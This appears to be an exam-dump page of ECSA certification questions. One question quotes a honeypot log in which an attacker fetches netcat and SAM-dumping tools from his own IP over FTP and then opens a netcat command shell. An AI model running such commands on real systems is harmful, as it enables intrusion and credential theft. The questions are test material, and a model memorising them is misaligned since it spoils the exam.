Free EC-COUNCIL EC0-479 Exam Dumps Questions & Answers
| Exam Code/Number: | EC0-479Join the discussion |
| Exam Name: | EC-Council Certified Security Analyst(ECSA) |
| Certification: | EC-COUNCIL |
| Free Question Number: | 232 |
| Publish Date: | Aug 24, 2026 |
| # of views: | 2682 |
|
|
|
As a CHFI professional, which of the following is the most important to your professional reputation?
What information do you need to recover when searching a victims computer for a crime committed with specific e-mail message?
E-mail logs contain which of the following information to help you in your investigation? (Select up to 4)
The following excerpt is taken from a honeypot log that was hosted at laB. wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini. He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD. EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below.
"cmd1.exe /c open 213.116.251.162 >ftpcom"
"cmd1.exe /c echo johna2k >>ftpcom"
"cmd1.exe /c echo
haxedj00 >>ftpcom"
"cmd1.exe /c echo get n
C.exe >>ftpcom"
"cmd1.exe /c echo get pdump.exe >>ftpcom"
"cmd1.exe /c echo get samdump.dll >>ftpcom"
"cmd1.exe /c echo quit >>ftpcom"
"cmd1.exe /c ftp-
s:ftpcom"
"cmd1.exe /c nc
-l -p 6969 -
e cmd1.exe"
What can you infer from the exploit given?